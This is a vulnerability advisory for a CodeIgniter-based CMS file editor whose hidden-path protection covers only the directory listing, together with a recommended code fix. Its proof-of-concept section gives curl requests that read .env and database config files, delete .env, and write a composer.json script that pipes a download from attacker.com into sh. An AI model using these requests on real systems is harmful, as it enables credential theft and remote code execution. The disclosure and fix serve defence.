Summary

The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only fileeditor.read permission can exfiltrate application secrets from .env, and a user with fileeditor.update permission can overwrite composer.json to achieve remote code execution.

Details

The hiddenItems array is defined at modules/Fileeditor/Controllers/Fileeditor.php:10-26:

protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode',
    'node_modules', 'vendor', 'writable',
    '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

This array is checked only in listFiles() at lines 45-48 and 64:

// Line 45-48 - path component check
foreach ($pathParts as $part) {
    if (in_array($part, $this->hiddenItems)) {
        return $this->failForbidden();
    }
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;

However, readFile() (line 76) performs neither a hiddenItems check nor an allowedFileTypes() check:

public function readFile()
{
    // ... validation ...
    $path = $this->request->getVar('path');
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
    }
    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}

This means any file within ROOTPATH — regardless of extension (.php, .env, etc.) — can be read by any user with the fileeditor.read permission.

Similarly, saveFile() (line 92) checks allowedFileTypes() but not hiddenItems. Since json is in $allowedExtensions, composer.json (which is explicitly in hiddenItems) can be overwritten:

protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

deleteFileOrFolder() (line 194) checks neither hiddenItems nor allowedFileTypes().

Compounding factor: CSRF protection is disabled for all fileeditor routes in modules/Fileeditor/Config/FileeditorConfig.php:7-10:

public $csrfExcept = [
    'backend/fileeditor',
    'backend/fileeditor/*',
];

This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.

PoC

Requires an authenticated backend session with fileeditor.read permission granted.

Step 1: Read .env file to extract secrets

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/.env'

Expected response: JSON containing .env file contents including database credentials, encryption keys, and other secrets.

Step 2: Read PHP configuration files

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'

Expected response: Full database configuration PHP source with credentials (note: readFile() has no allowedFileTypes check, so .php files are readable).

Step 3: Overwrite composer.json for RCE (requires fileeditor.update permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/save' \
  -d 'path=/composer.json' \
  -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'

The next composer install or composer update executes the attacker's script.

Step 4: Delete .env (requires fileeditor.delete permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \
  -d 'path=/.env'

Impact

• Credential disclosure: Any backend user with fileeditor.read permission can read .env (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.
• Remote code execution: A user with fileeditor.update permission can overwrite composer.json with malicious composer scripts that execute on the next composer install/update.
• Denial of service: A user with fileeditor.delete permission can delete .env or other critical configuration files, causing application failure.
• False security boundary: Administrators who configure fileeditor.read as a limited permission for content editors are unknowingly granting access to all application secrets, since the hiddenItems protection only affects the UI file tree, not the API.

Recommended Fix

Apply hiddenItems validation to all endpoints that accept a path parameter. Extract the check into a reusable method and also add allowedFileTypes to readFile():

// Add this method to the Fileeditor controller
private function isHiddenPath(string $path): bool
{
    $pathParts = explode('/', trim($path, '/'));
    foreach ($pathParts as $part) {
        if (in_array($part, $this->hiddenItems)) {
            return true;
        }
    }
    return false;
}

// Then add to readFile(), saveFile(), renameFile(), createFile(), 
// createFolder(), and deleteFileOrFolder():
if ($this->isHiddenPath($path)) {
    return $this->failForbidden();
}

// Additionally, add allowedFileTypes check to readFile():
if (!$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

Also re-enable CSRF protection by removing the CSRF exemption in FileeditorConfig.php (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.

References

• GHSA-9rxp-f27p-wv3h
• https://nvd.nist.gov/vuln/detail/CVE-2026-39389
• https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0